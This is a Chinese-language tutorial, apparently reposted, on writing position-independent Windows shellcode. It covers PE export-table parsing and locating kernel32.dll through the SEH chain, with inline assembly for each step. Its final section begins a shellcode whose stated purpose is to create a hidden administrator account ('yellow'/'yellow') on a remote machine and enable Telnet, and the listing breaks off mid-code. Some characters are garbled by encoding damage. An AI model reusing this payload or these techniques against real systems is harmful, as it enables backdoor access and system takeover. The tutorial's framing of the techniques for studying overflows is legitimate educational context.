通用ShellCode深入剖析
發(fā)表時間:2024-05-22 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]通用ShellCode深入剖析前言: 在網(wǎng)上關(guān)于ShellCode編寫技術(shù)的文章已經(jīng)非常之多,什么理由讓我再寫這種技術(shù)文 章呢?本文是我上一篇溢出技術(shù)文章<Windows 2000緩沖區(qū)溢出技術(shù)原理>的姊妹篇,同樣 的在網(wǎng)上我們經(jīng)?梢钥吹揭恍╆P(guān)于ShelCode編寫技術(shù)的文章...
通用ShellCode深入剖析前言:
在網(wǎng)上關(guān)于ShellCode編寫技術(shù)的文章已經(jīng)非常之多,什么理由讓我再寫這種技術(shù)文
章呢?本文是我上一篇溢出技術(shù)文章<Windows 2000緩沖區(qū)溢出技術(shù)原理>的姊妹篇,同樣
的在網(wǎng)上我們經(jīng)?梢钥吹揭恍╆P(guān)于ShelCode編寫技術(shù)的文章,似乎沒有為初學(xué)者準(zhǔn)備的
,在這里我將站在初學(xué)者的角度對通用ShellCode進(jìn)行比較詳細(xì)的分析,有了上一篇的溢出
理論和本篇的通用ShellCode理論,基本上我們就可以根據(jù)一些公布的Window溢出漏洞或
是自己對一些軟件系統(tǒng)進(jìn)行反匯編分析出的溢出漏洞試著編寫一些溢出攻擊測試程序.
文章首先簡單分析了PE文件格式及PE引出表,并給出了一個例程,演示了如何根據(jù)PE
相關(guān)技術(shù)查找引出函數(shù)及其地址,隨后分析了一種比較通用的獲得Kernel32基址的方法,
最后結(jié)合理論進(jìn)行簡單的應(yīng)用,給出了一個通用ShellCode.
本文同樣結(jié)合我學(xué)習(xí)時的理解以比較容易理解的方式進(jìn)行描述,但由于ShellCode的
復(fù)雜性,文章主要使用C和Asm來講解,作者假設(shè)你已具有一定的C/Asm混合編程基礎(chǔ)以及上
一篇的溢出理論基礎(chǔ),希望本文能讓和我一樣初學(xué)溢出技術(shù)的朋友有所提高.
[目錄]
1,PE文件結(jié)構(gòu)的簡介,及PE引出表的分析.
1.1 PE文件簡介
1.2 引出表分析
1.3 使用內(nèi)聯(lián)匯編寫一個通用的根據(jù)DLL基址獲得引出函數(shù)地址的實用函數(shù)
GetFunctionByName
2,通用Kernel32.DLL地址的獲得方法.
2.1 結(jié)構(gòu)化異常處理和TEB簡介
2.2 使用內(nèi)聯(lián)匯編寫一個通用的獲得Kernel32.DLL函數(shù)基址的實用函數(shù)
GetKernel32
3,綜合運用(一個簡單的通用ShellCode)
3.1 綜合前面所講解的技術(shù)編寫一個添加帳號及開啟Telnet的簡單ShellCode:
根據(jù)第2節(jié)所述技術(shù)使用我們自己實現(xiàn)的GetFunctionByName獲得LoadLibraryA和
GetProcAddress函數(shù)地址,再使用這兩個函數(shù)引入所有我們需要的函數(shù)實現(xiàn)期望的
功能.
4,參考資料.
5,關(guān)鍵字.
--------------------------------------------------------------------------------
一,PE文件結(jié)構(gòu)及引出表基礎(chǔ)
1,PE文件結(jié)構(gòu)簡介
PE(Portable Executable,移植的執(zhí)行體),是微軟Win32環(huán)境可執(zhí)行文件的標(biāo)準(zhǔn)格式
(所謂可執(zhí)行文件不光是.EXE文件,還包括.DLL/.VXD/.SYS/.VDM等)
PE文件結(jié)構(gòu)(簡化):
-----------------
│1,DOS MZ header│
-----------------
│2,DOS stub │
-----------------
│3,PE header │
-----------------
│4,Section table│
-----------------
│5,Section 1 │
-----------------
│6,Section 2 │
-----------------
│ Section ... │
-----------------
│n,Section n │
-----------------
記得在我還沒有接確Win32編程時,我曾在Dos下運行過一個Win32可執(zhí)行文件,程序只輸出
了一行"This program cannot be run in DOS mode.",我覺得很有意思,它是怎么識別自
己不在Win32平臺下的呢?其實它并沒有進(jìn)行識別,它可能簡單到只輸入這一行文字就退出
了,可能源碼就像下面的C程序這么簡單:
#include <stdio.h>
void main(void)
{
printf("This program cannot be run in DOS mode.n");
}
你可能會問"我在寫Win32程序時并沒有寫過這樣的語句啊?",其實這是由連接器(linker)
為你構(gòu)建的一個16位DOS程序,當(dāng)在16位系統(tǒng)(DOS/Windows 3.x)下運行Win32程序時它才會
被執(zhí)行用來輸出一串字符提示用戶"這個程序不能在DOS模式下運行".
我們先來看看DOS MZ header到底是什么東西,下面是它在Winnt.h中的結(jié)構(gòu)描述:
typedef struct _IMAGE_DOS_HEADER { //DOS .EXE header
WORD e_magic; //0x00 Magic number
WORD e_cblp; //0x02 Bytes on last page of file
WORD e_cp; //0x04 Pages in file
WORD e_crlc; //0x06 Relocations
WORD e_cparhdr; //0x08 Size of header in paragraphs
WORD e_minalloc; //0x0a Minimum extra paragraphs needed
WORD e_maxalloc; //0x0c Maximum extra paragraphs needed
WORD e_ss; //0x0e Initial (relative) SS value
WORD e_sp; //0x10 Initial SP value
WORD e_csum; //0x12 Checksum
WORD e_ip; //0x14 Initial IP value
WORD e_cs; //0x16 Initial (relative) CS value
WORD e_lfarlc; //0x18 File address of relocation table
WORD e_ovno; //0x1a Overlay number
WORD e_res[4]; //0x1c Reserved words
WORD e_oemid; //0x24 OEM identifier (for e_oeminfo)
WORD e_oeminfo; //0x26 OEM information; e_oemid specific
WORD e_res2[10]; //0x28 Reserved words
LONG e_lfanew; //0x3c File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
DOS MZ header中包括了一些16位DOS程序的初使化值如果IP(指令指針),cs(代碼段寄存
器),需要分配的內(nèi)存大小,checksum(校驗和)等,當(dāng)DOS準(zhǔn)備為可執(zhí)行文件建立進(jìn)程時會讀取其
中的值來完成初使化工作.
留意到最后一個結(jié)構(gòu)成員了嗎?微軟的人對它的描述是File address of new exe header
意義是"新的exe文件頭部地址",它是一個相對偏移值,我想文件偏移量你一定知道是什么吧!
e_lfanew就是一個文件偏移值,它指向PE header,它對我們來說非常重要.緊跟著DOS MZ header
的是DOS stub它是linker為我們建立的這個16位DOS程序的代碼實體部分,就是它輸出了
"This program cannot be run in DOS mode.".再后面就是PE header了,有人曾問過我PE頭部
相對于.exe文件的偏移是不是固定的?這個可不好說,不同的編譯器生成的stub長度可能不一樣
(比如:它可能存儲了這樣一個字串來提示用戶"The Currnet OS is not Win32,I want to run
in Win32 Mode.",那么這個stub的長度將比前面的那個長),所以用一個固定值來定位PE header
是不科學(xué)的,這個時候我們就用到了e_lfanew,它指向真正的PE header,它總是正確嗎?那是當(dāng)然
的!linker總是會它賦予一個正確的值.所以我們要它精確定位PE header,同樣的Win32 PELoader
也根據(jù)e_lfanew來定位真正的PE header,并使用PE header中的不同的成員值進(jìn)行初使化,PE還
包涵了很多個"節(jié)"(Section),有用來存儲數(shù)據(jù)的,有用來存可執(zhí)行代碼的,還有的是用來存資源
的(如:程序圖標(biāo),位圖,聲音,對話框模板等)
下面我只簡單分析一下PE結(jié)構(gòu)與編寫ShellCode相關(guān)的部分,如果你對其它部分也比較感興趣
可以看看臺港侯俊杰先生譯的<Windows 95系統(tǒng)程序設(shè)計大奧秘>中的相關(guān)內(nèi)容以及Iczelion的經(jīng)
典PE教程,我個人覺得將兩者結(jié)合起來看要好一點.
2,引出表分析
在PE header結(jié)構(gòu)(你可以Winnt.h中找到它)中包括一個DataDirectory結(jié)構(gòu)成員數(shù)組,可以通
過這樣的方法來找到它的位置:
PE頭部偏移=可執(zhí)行文件內(nèi)存映象基址+0x3c(e_lfanew)
PE基址=可執(zhí)行文件內(nèi)存映象基址+PE頭部偏移
引出表目錄指針(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=---DataDirectory
引出函數(shù)名稱表首指針(char**)=引出表目錄基址+0x20
引出函數(shù)地址表首指針(DWORD **)=引出表目錄指針+0x1c
它的結(jié)構(gòu)定義是這樣的:
typedef struct _Image_Data_Directory{
DWORD VirtualAddress;
DWORD isize;
}IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;
該結(jié)構(gòu)數(shù)組共包括16成員,第一個成員的VirtualAddress存儲了一個相對偏移量,它指向一個
IMAGE_EXPORT_DIRECTORY結(jié)構(gòu),它的定義是這樣的:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;//0x00
DWORD TimeDateStamp;//0x04
WORD MajorVersion;//0x08
WORD MinorVersion;//0x0a
DWORD Name;//0x0c
DWORD Base;//0x10
DWORD NumberOfFunctions;//0x14
DWORD NumberOfNames;//0x18
DWORD AddressOfFunctions;//0x1c RVA from base of image
DWORD AddressOfNames;//0x20 RVA from base of image
DWORD AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
其中AddressOfFunctions里又存儲了一個二級指針,它指向一個DWORD型指針數(shù)組該數(shù)
組成員所指就是函數(shù)地址值,但其中的值是函數(shù)相對于可執(zhí)行文件在內(nèi)存映象中基地址的一
個相對偏移值,真正的函數(shù)地址等于這個相對偏移值+可執(zhí)行文件在內(nèi)存映象中的基地址,我
們可以Call這個計算后的真實地址來調(diào)用函數(shù).AddressOfNames是一個二級字符指針,該數(shù)組
成員所指就是函數(shù)名稱字符串相對于可執(zhí)行文件在內(nèi)存映象中的基地址的一個偏移值,同樣
可以通過相對偏移值+可執(zhí)行文件在內(nèi)存映象中的基地址來引用函數(shù)名稱字串.Name也是一個
字符指針,它也只存儲了相對偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那么它指向
的字串就為"KERNEL32.dll".
3,本節(jié)應(yīng)用實例
關(guān)于PE和引出表我們已經(jīng)分析了與編寫ShellCode密切相關(guān)的部分,這一部分的確有點難,
但一定要把它搞清楚,只有把它搞懂我們才能進(jìn)行下一節(jié)的學(xué)習(xí),在本節(jié)的最后附上一個小程序,
在內(nèi)聯(lián)匯編代碼中大量使用了"間接引用",如果你對指針很熟悉基本上它很好理解,在程序里我
們實現(xiàn)了Windows API GetProcAddress的功能,這種技術(shù)對于想使用一些未公開的系統(tǒng)函數(shù)也是
非常之有用的.
------------ -----------------------------------------
GetFunctionByName函數(shù)可以從一個PE執(zhí)行文件中以函數(shù)名查找引出表并返回引出函數(shù)地址,只
需要知道KERNEL32.DLL的基地址值,使用它在本程序中我們不包括頭文件也可以使用任何一個
Windows API.在我的機器上它是0x77e60000程序如下:
//GetFunctionByName.c
//原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//參數(shù):
// ImageBase: 可執(zhí)行文件的內(nèi)存映象基址
// FuncName: 函數(shù)名稱指針
// flen: 函數(shù)名稱長度
//返回值:
// 函數(shù)成功時返回有效的函數(shù)地址,失敗時返回0.
//最終在寫ShellCode時,應(yīng)該給該函數(shù)加上__inline聲明,因為它要與ShellCode融為一體.
//注意,在本例中我們沒有包括任何一個.h文件
unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;
__asm
{
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//指向引出模塊名,如果在查找KERNEL32.DLL的引出函數(shù)那么它將指向"KERNEL32.dll"
//mov eax,[IED]
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函數(shù)名稱指針數(shù)組的指針值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據(jù)引出函數(shù)個數(shù)NumberOfFunctions設(shè)置最大查找次數(shù)
FindLoop:
push ecx//使用一個小技巧,使用程序循環(huán)更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字符比較,如果相同則為找到函數(shù),注意這里的ecx值
cld
rep cmpsb
jne FindNext//如果當(dāng)前函數(shù)不是指定的函數(shù)則查找下一個
add esp,4//如果查找成功,則清除用于控制外層循環(huán)而壓入的Ecx,準(zhǔn)備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//獲得函數(shù)地址表
shl Count,2//根據(jù)函數(shù)索引計算函數(shù)地址指針=函數(shù)地址表基址+(函數(shù)索引*4)
add eax,Count
mov eax,[eax]//獲得函數(shù)地址相對偏移量
add eax,ImageBase//計算函數(shù)真實地址,并通過Eax返回給調(diào)用者
jmp Found
FindNext:
inc Count//記錄函數(shù)索引
add [FunNameArray],4//下一個函數(shù)名指針
mov eax,FunNameArray
pop ecx//恢復(fù)壓入的ecx(NumberOfFunctions),進(jìn)行計數(shù)循環(huán)
loop FindLoop//如果ecx不為0則遞減并回到FindLoop,往后查找
NotFound:xor eax,eax//如果沒有找到,則返回0
Found:
}
}
/*
讓我們來測試一下,先用GetFunctionByName獲得kernel32.dll中LoadLibraryA
的地址,再用它裝載user32.dll,再用GetFunctionByName獲得MessageBoxA的地址,call
它一下
*/
int main(void)
{
char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
//0x77e60000是我機器上的kernel32.dll的基址,不同機器上的值可能不同
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //相當(dāng)于執(zhí)行LoadLibrary("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"的長度
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByName使用C調(diào)用約定,由調(diào)用者調(diào)整堆棧
push 0
lea eax,title
push eax
push eax
push 0
call ebx//相當(dāng)于執(zhí)行MessageBox(NULL,"test","test",MB_OK)
}
return 1;
}
函數(shù)的內(nèi)聯(lián)匯編代碼有很多這樣的語句:
mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
我試過使用mov eax,[ImageBase+eax+0x??]之類的語法,因為用到很多多級指針,而它們指向
的又是相對偏移量所以要不斷的"獲取和計算",否則很容易導(dǎo)致"訪問違例".編譯運行,彈出了
一個MessageBox標(biāo)題和內(nèi)容都是"test"看到了嗎?你可能會問這個程序拿到其它機器上也可能
運行嗎?在整個程序里我們唯一依賴的就是0x77e60000這個kernel32.dll基址,其它機器上的
可能不是這個值,如果這個地址值可以在程序運行時動態(tài)的計算出來,那么這個程序?qū)⒎浅M?
用,它可以動態(tài)計算出來嗎?答案是肯定的!下一節(jié)我們將來分析一種并不很流行但很通用的動
態(tài)計算獲得kernel32.dll基址的方法.
---------------------------------------------------------------------------------
二,在動態(tài)獲得Kernel32.DLL地址方法的分析
1,簡析結(jié)構(gòu)化異常處理(SEH,Structred Exception Handling)
SEH已經(jīng)不是很什么新技術(shù)了,但是對于我將要講了非常重要,所以在這里對它做一個簡單的
分析.Ok,打開VC,讓我們來分析一個簡單的"除"運算程序,看看它哪里有問題:
#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
z=x/y;
printf("%d DIV %d = %d",x,y,z);
getch();
return 0;
}
編譯,運行:輸入4 2,程序輸出"4 DIV 2 = 2",結(jié)果很正確.再運行輸入 4 0,問題出來了,
Visual Studio彈出了一個信息框:
"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",出現(xiàn)了未處理的
"除0異常",傳統(tǒng)的方法是我們在z=x/y之前加上判斷:
#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
if(!y)
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
z=x/y;
printf("%d DIV %d = %d",x,y,z);
LQUIT:
getch();
return 0;
}
出錯處理在這個小程序里這的確很容易看懂,可是想想如果在數(shù)千甚至上萬行的程序里,這樣的
錯誤捕獲處理會讓程序變的十分凌亂難懂,而且傳統(tǒng)方法處理的是我們可以想像(猜測)到的錯誤,
但是某些導(dǎo)到程序出錯的情況是很隨機的,這樣就不能保證程序的健壯性了,而SEH正是為了讓正
常的處理代碼和出錯處理代碼分開,以使程序結(jié)構(gòu)清淅,并使程序更加
健壯.讓我們再把這個小程序改一下:
#include <stdio.h>
#include <conio.h>
#include <windows.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);
__try
{//把可能出錯的程序段封裝起來
z=x/y;
//......
}
__except(EXCEPTION_EXECUTE_HANDLER)
{//在這里找出出現(xiàn)異常的原因,并進(jìn)行處理
switch(GetExceptionCode())
{
case EXCEPTION_INT_DIVIDE_BY_ZERO://如果除0異常
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
case EXCEPTION_ACCESS_VIOLATION://內(nèi)存訪問違例
{
//.....
break;
}
//do other......
default:
break;
}
}
printf("%d DIV %d = %dn",x,y,z);
LQUIT:
getch();
return 0;
}
這樣我們就使終都可以捕獲到異常了,編譯,選擇"Disassembly",可以看到這樣的代碼:
push offset __except_handler3 (00401330)
mov eax,fs:[00000000]
push eax
mov dword ptr fs:[0],esp
這是實際上是標(biāo)準(zhǔn)的SEH異常處理函數(shù)的注冊方法,我們的__except(){}實際在編譯時被當(dāng)成一個
線程相關(guān)的異常處理函數(shù),實際上這段代碼的作用是將我們的異常處理函數(shù)加入異常處理結(jié)構(gòu)鏈
表EXCEPTION_REGISTRATION_RECORD,fs:[0]是這個異常處理函數(shù)鏈表的首指針,它的最后一條記錄
的節(jié)點指針指向0xffffffff.它的結(jié)構(gòu)描述是這樣的:
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD * pNext; //指向后面的節(jié)點
FARPROC pfnHandler;//指向異常處理函數(shù)
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
你可能會問"你怎么知道fs:[0]是該結(jié)構(gòu)的首指針呢?",當(dāng)然我沒有那么天才,從Windows 95系統(tǒng)程序
設(shè)計一書中可以得知每當(dāng)創(chuàng)建一個線程,系統(tǒng)均會為每個線程分配TEB(Thread Environment Block)
在Windows 9x中被稱為TIB(Thread Information Block),而且TEB永遠(yuǎn)放在fs段選擇器指定的數(shù)據(jù)段
的0偏移處.
----------------------------------- -----------------------------
再看一下TEB的結(jié)構(gòu)定義你就會明白的:
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意這個指針成員
---------------------------------------------------------
PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack
union // 0Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD pvTDB; // 0Ch TDB
WORD pvThunkSS; // 0Eh SS selector used for thunking to 16 bits
DWORD unknown1; // 10h
} WIN95;
struct // WinNT fields
{
PVOID SubSystemTib; // 0Ch
ULONG FiberData; // 10h
} WINNT;
} TIB_UNION1;
PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure
union // 1Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD TIBFlags; // 1Ch
WORD Win16MutexCount; // 1Eh
DWORD DebugContext; // 20h
DWORD pCurrentPriority; // 24h
DWORD pvQueue; // 28h Message Queue selector
} WIN95;
struct // WinNT fields
{
DWORD unknown1; // 1Ch
DWORD processID; // 20h <=---注意這個和下面一個成員
//-------------
DWORD threadID; // 24h <=---注意這個成員
//-------------
DWORD unknown2; // 28h
} WINNT;
} TIB_UNION2;
PVOID* pvTLSArray; // 2Ch Thread Local Storage array
union // 30h (NT/Win95 differences)
{
struct // Win95 fields
{
PVOID* pProcess; // 30h Pointer to owning Process Database
} WIN95;
} TIB_UNION3;
} TIB, *PTIB;
看見了嗎?TEB的第一個成員pvExcept是異常處理鏈?zhǔn)字羔楬ead of exception record list,它相對于
TEB首地址0x00偏移處,而TEB永遠(yuǎn)放在fs段寄存器的0x00偏移處,也就是fs段寄存器的0x00偏移處.
看到我讓你留意的另兩個成員了嗎?processID存儲了當(dāng)前線程屬進(jìn)程的ID號,threadID存儲了當(dāng)前線程
ID號,這樣我們又可以實現(xiàn)兩Windows API了:
//MyAPI.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>
__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//讀取TEB的processID成員內(nèi)容,通過eax返回
ret
}
}
__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//讀取TEB的threadID成員內(nèi)容,通過eax返回
ret
}
}
//測試一下
void main(void)
{
printf("MY PID=%dtAPI PID=%dn",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%dtAPI TID=%dn",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}
程序輸出:
MY PID=1448 API PID=1448
MY TID=1204 API TID=1204
注意,不同的機器,不同時刻這里輸出的值可能不一樣,但MY PID恒等于API PID,MY TID恒等API TID.越
來越有意思了吧!說了這么多,那么這些與獲得kernel32.dll基址有什么關(guān)系嗎?不要著急,繼續(xù)往下看你
就會明白的!
2,通過異常處理函數(shù)鏈表查找kernel32.dll基地址
現(xiàn)在讓我們來看看異常處理的順序,它是這樣的:
當(dāng)一個異常發(fā)生時,系統(tǒng)會從fs:[0]處讀取異常處理函數(shù)鏈表首指針,開始問所有在應(yīng)用程序中注冊的
異常處理函數(shù),比如上面的"除0異常",系統(tǒng)會把這個異常通知我們的異常處理函數(shù),函數(shù)識別出是"除0異常",
并給予了處理(輸出了"Can not Divide by Zero!"),并告訴系統(tǒng)"我已經(jīng)處理過了,不用再問其它函數(shù)了".
如果我們的函數(shù)不打算處理這個異?梢越唤o兄弟節(jié)點中異常處理函數(shù)指針指向的其它異常處理函數(shù)
處理,如果程序中注冊的異常處理均不處理這個異常,那么系統(tǒng)將把它發(fā)送給當(dāng)前調(diào)試工具,如果應(yīng)用程序當(dāng)
前不處在調(diào)試狀態(tài)或是調(diào)試工具也不處理這個異常的話,系統(tǒng)將把它發(fā)送給kernel32的UnhandledExceptionFilter
函數(shù)進(jìn)行處理,當(dāng)然它是由程序異常處理鏈最后一個節(jié)點的pfnHandler(參考EXCEPTION_REGISTRATION_RECORD)
函數(shù)指針成員指向的,該節(jié)點的pNext成員將指向0xffffffff.
看了這么多有點靈感了嗎?我們已經(jīng)有了kernel32.dll的一個引出函數(shù)的地址了,難道還找不出它的基址
嗎?看看下面的這個小程序吧!
/*
原型:unsigned int GetKernel32(void);
參數(shù):無
返回值:
函數(shù)總是能返回Kernel32.dll的基地址
說明:根據(jù)PE可執(zhí)行文件特征從UnhandledExceptionFilter函數(shù)地址向上線性查找,使用__inline是為了與
最終的ShellCode融為一體,使用__declspec(naked)是為了不讓編譯器自作聰明生成一些"廢話",讓它
完全按照我們自己的Asm語句來描述函數(shù).
*/
#include <stdio.h>
#include <conio.h>
__inline __declspec(naked) unsigned int GetKernel32()
{
__asm
{
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//如果到達(dá)最后一個節(jié)點(它的pfnHandler指向UnhandledExceptionFilter)
mov eax,[eax]//否則往后遍歷,一直到最后一個節(jié)點
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000//根據(jù)PE執(zhí)行文件以64k對界的特征加快查找速度
cmp word ptr [eax],'ZM'//根據(jù)PE可執(zhí)行文件特征查找KERNEL32.DLL的基址
jne MoveUp//如果當(dāng)前地址不符全MZ頭部特征,則向上查找
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//根據(jù)PE可執(zhí)行文件特征查找KERNEL32.DLL的基址
je Found//如果符合MZ及PE頭部特征,則認(rèn)為已經(jīng)找到,并通過Eax返回給調(diào)用者
MoveUp:
dec eax//準(zhǔn)備指向下一個界起始地址
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}
void main(void)
{
printf("%0.8Xn",GetKernel32());
getch();
}
完成了本節(jié)的學(xué)習(xí)以后,你應(yīng)該掌握常用于編寫病毒和ShellCode的幾種技術(shù):
1,根據(jù)PE文件查找引出函數(shù)地址
2,動態(tài)計算KERNEL32.DLL的基址
3,動態(tài)裝載需要的運行庫及動獲得需要的Windows API(s)
在最后一節(jié)里我們將對前面所分析的技術(shù)做一個綜合應(yīng)用,寫一個簡單的ShellCode
--------------------------------------------------------------------------------------------
三,綜合運用
本節(jié)我們將綜合前面分析的技術(shù)編寫一個簡單的通用ShellCode,這個ShellCode將首先在遠(yuǎn)程機器上新建一個
用戶,用戶名yellow,密碼yellow,如果如果可能將把該用戶加入Administrators用戶組,如果可能還會打開Telnet
服務(wù),請留意我的編碼風(fēng)格,這樣風(fēng)格對以后的ShellCode功能擴充提供很大方便.源程序如下:
///////////////////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定義API及DLL名稱及其存儲順序,良好的編碼風(fēng)格對于以后的開發(fā)會提供很大的方便
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)
#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2
#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工獲得KERNEL32.DLL基址,并獲得LoadLibraryA和GetProcAddress函數(shù)地址
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';
_emit 'e';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'A';
_emit 'd';
_emit 'd';
_emit 'r';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';
_emit 'o';
_emit 'a';
_emit 'd';
_emit 'L';
_emit 'i';
_emit 'b';
_emit 'r';
_emit 'a';
_emit 'r';
_emit 'y';
_emit 'A';
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填寫需要的DLL名稱,注意這里和上面定義的宏順序要一樣
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填寫其它需要的API名稱,注意這里也要和上面定義和宏順序一樣
call LEXITPROCESS//1
_emit 'E';
_emit 'x';
_emit 'i';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W';
_emit 'i';
_emit 'n';
_emit 'E';
_emit 'x';
_emit 'e';
_emit 'c';
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b';
_emit 'i';
_emit 'n';
_emit 'd';
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';
_emit 'o';
_emit 'n';
_emit 'n';
_emit 'e';
_emit 'c';
_emit 't';
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a';
